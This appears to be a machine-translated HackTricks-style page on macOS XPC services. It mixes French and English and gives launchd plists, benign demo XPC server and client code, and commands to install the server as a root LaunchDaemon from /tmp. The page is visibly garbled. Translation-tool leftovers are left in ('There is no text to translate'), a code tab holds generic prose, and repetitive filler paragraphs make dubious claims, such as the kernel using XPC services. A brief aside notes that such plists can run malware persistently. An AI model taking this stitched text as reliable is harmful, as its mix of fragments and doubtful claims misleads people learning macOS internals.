<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>xyz.hacktricks.service</string>
    <key>ProgramArguments</key>
    <array>
        <string>/usr/bin/python</string>
        <string>/Library/Application Support/xyz.hacktricks/xyz.hacktricks.py</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
</dict>
</plist>

Ce fichier lance un script Python situé dans /Library/Application Support/xyz.hacktricks/xyz.hacktricks.py au démarrage du système. Le script peut être utilisé pour effectuer des actions malveillantes telles que l'escalade de privilèges ou l'installation persistante de logiciels malveillants.

Il est important de noter que l'utilisation de ce fichier pour lancer un service malveillant est illégale et peut entraîner des poursuites judiciaires. Ce fichier est fourni à des fins éducatives uniquement.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>Label</key>
<string>xyz.hacktricks.service</string>
<key>MachServices</key>
<dict>
<key>xyz.hacktricks.service</key>
<true/>
</dict>
<key>Program</key>
<string>/tmp/xpc_server</string>
<key>ProgramArguments</key>
<array>
<string>/tmp/xpc_server</string>
</array>
</dict>
</plist>

{% endtab %} {% endtabs %}

This is a markdown file, which is used to document the inter-process communication (IPC) mechanisms in macOS. IPC is a fundamental concept in operating systems, and it allows processes to communicate with each other and share resources. In macOS, there are several IPC mechanisms available, including Mach ports, Unix domain sockets, and XPC. Each of these mechanisms has its own strengths and weaknesses, and understanding them is essential for building secure and reliable applications. This document provides an overview of each of these mechanisms and their security implications.

# Compile the server & client
gcc xpc_server.c -o xpc_server
gcc xpc_client.c -o xpc_client

# Save server on it's location
cp xpc_server /tmp

# Load daemon
sudo cp xyz.hacktricks.service.plist /Library/LaunchDaemons
sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.service.plist

# Call client
./xpc_client

# Clean
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.service.plist
sudo rm /Library/LaunchDaemons/xyz.hacktricks.service.plist /tmp/xpc_server

Exemple de code ObjectiveC

{% tabs %} {% tab title="oc_xpc_server.m" %}

// gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
#include <Foundation/Foundation.h>

@protocol MyXPCProtocol
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply;
@end

@interface MyXPCObject : NSObject <MyXPCProtocol>
@end


@implementation MyXPCObject
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply {
NSLog(@"Received message: %@", some_string);
NSString *response = @"Received";
reply(response);
}
@end

@interface MyDelegate : NSObject <NSXPCListenerDelegate>
@end


@implementation MyDelegate

- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MyXPCProtocol)];

MyXPCObject *my_object = [MyXPCObject new];

newConnection.exportedObject = my_object;

[newConnection resume];
return YES;
}
@end

int main(void) {

NSXPCListener *listener = [[NSXPCListener alloc] initWithMachServiceName:@"xyz.hacktricks.svcoc"];

id <NSXPCListenerDelegate> delegate = [MyDelegate new];
listener.delegate = delegate;
[listener resume];

sleep(10); // Fake something is done and then it ends
}

{% endtab %}

{% tab title="oc_xpc_server.m" %}Le serveur XPC est responsable de la création de la connexion XPC et de la gestion des demandes de service. Il utilise la fonction xpc_connection_create() pour créer une connexion XPC et la fonction xpc_connection_set_event_handler() pour définir une fonction de rappel qui sera appelée lorsqu'une demande de service est reçue. La fonction de rappel doit être en mesure de traiter la demande de service et de renvoyer une réponse appropriée.

Le serveur XPC peut également utiliser la fonction xpc_connection_resume() pour commencer à écouter les demandes de service. Une fois que le serveur XPC est en cours d'exécution, il peut recevoir des demandes de service de clients XPC distants.

Le serveur XPC doit être conçu de manière à être résistant aux attaques de sécurité. Il doit valider toutes les entrées utilisateur et s'assurer que les demandes de service sont authentifiées et autorisées. Le serveur XPC doit également être conçu de manière à minimiser les vulnérabilités de sécurité, telles que les fuites de mémoire et les dépassements de tampon.

Enfin, le serveur XPC doit être testé de manière approfondie pour s'assurer qu'il est sécurisé et qu'il fonctionne correctement. Cela peut être fait en utilisant des techniques de test de pénétration pour identifier les vulnérabilités de sécurité et les erreurs de programmation.

// gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client
#include <Foundation/Foundation.h>

@protocol MyXPCProtocol
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply;
@end

int main(void) {
NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:@"xyz.hacktricks.svcoc" options:NSXPCConnectionPrivileged];
connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MyXPCProtocol)];
[connection resume];

[[connection remoteObjectProxy] sayHello:@"Hello, Server!" withReply:^(NSString *response) {
NSLog(@"Received response: %@", response);
}];

[[NSRunLoop currentRunLoop] run];

return 0;
}

{% endtab %}

{% tab title="macOS IPC (Inter-Process Communication)" %}

macOS IPC (Inter-Process Communication)

Inter-Process Communication (IPC) is a mechanism that allows processes to communicate with each other and share data. macOS provides several IPC mechanisms, including:

  • Mach ports
  • Unix domain sockets
  • Distributed Objects
  • XPC services

Mach Ports

Mach ports are a low-level IPC mechanism used by macOS. They are used to send messages between processes and to create inter-process communication channels. Mach ports are used by many macOS subsystems, including the WindowServer, launchd, and the kernel.

Mach ports are identified by a port name, which is a 32-bit integer. Ports can be created, destroyed, and passed between processes. When a process creates a port, it can specify whether the port can be inherited by child processes.

Mach ports can be used to send messages between processes. Messages can be sent synchronously or asynchronously. Synchronous messages block the sending process until the receiving process has processed the message. Asynchronous messages do not block the sending process.

Mach ports can also be used to create inter-process communication channels. A process can create a port and then pass the port to another process. The second process can then use the port to send messages back to the first process.

Mach ports are a powerful IPC mechanism, but they can also be a security risk. If a process creates a Mach port and does not properly secure it, another process may be able to use the port to send messages to the first process. This can be used to perform privilege escalation attacks.

Unix Domain Sockets

Unix domain sockets are a type of IPC mechanism used by macOS. They are similar to network sockets, but they are used for communication between processes on the same system. Unix domain sockets are identified by a file path.

Unix domain sockets can be used to send messages between processes. Messages can be sent synchronously or asynchronously. Synchronous messages block the sending process until the receiving process has processed the message. Asynchronous messages do not block the sending process.

Unix domain sockets can also be used to create inter-process communication channels. A process can create a socket and then pass the socket file descriptor to another process. The second process can then use the socket to send messages back to the first process.

Unix domain sockets are a powerful IPC mechanism, but they can also be a security risk. If a process creates a socket and does not properly secure it, another process may be able to use the socket to send messages to the first process. This can be used to perform privilege escalation attacks.

Distributed Objects

Distributed Objects is an IPC mechanism used by macOS. It allows objects to be passed between processes. Distributed Objects is built on top of Mach ports.

Distributed Objects is a powerful IPC mechanism, but it can also be a security risk. If a process exposes a Distributed Object and does not properly secure it, another process may be able to use the object to perform unauthorized actions.

XPC Services

XPC Services is an IPC mechanism used by macOS. It allows processes to communicate with each other and share data. XPC Services is built on top of Mach ports.

XPC Services are used by many macOS subsystems, including launchd and the kernel. XPC Services can be used to create inter-process communication channels and to send messages between processes.

XPC Services are a powerful IPC mechanism, but they can also be a security risk. If a process exposes an XPC Service and does not properly secure it, another process may be able to use the service to perform unauthorized actions.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>Label</key>
<string>xyz.hacktricks.svcoc</string>
<key>MachServices</key>
<dict>
<key>xyz.hacktricks.svcoc</key>
<true/>
</dict>
<key>Program</key>
<string>/tmp/oc_xpc_server</string>
<key>ProgramArguments</key>
<array>
<string>/tmp/oc_xpc_server</string>
</array>
</dict>
</plist>

{% endtab %} {% endtabs %}

(Note: There is no text to translate in this section. The provided text is just markdown syntax.)

# Compile the server & client
gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client

# Save server on it's location
cp oc_xpc_server /tmp

# Load daemon
sudo cp xyz.hacktricks.svcoc.plist /Library/LaunchDaemons
sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist

# Call client
./oc_xpc_client

# Clean
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
sudo rm /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist /tmp/oc_xpc_server

Références

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